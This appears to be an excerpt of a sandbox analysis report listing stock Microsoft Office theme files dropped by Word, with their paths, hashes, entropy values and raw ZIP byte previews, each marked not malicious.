Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457475[[fn=Frame]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033919[[fn=Circuit]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
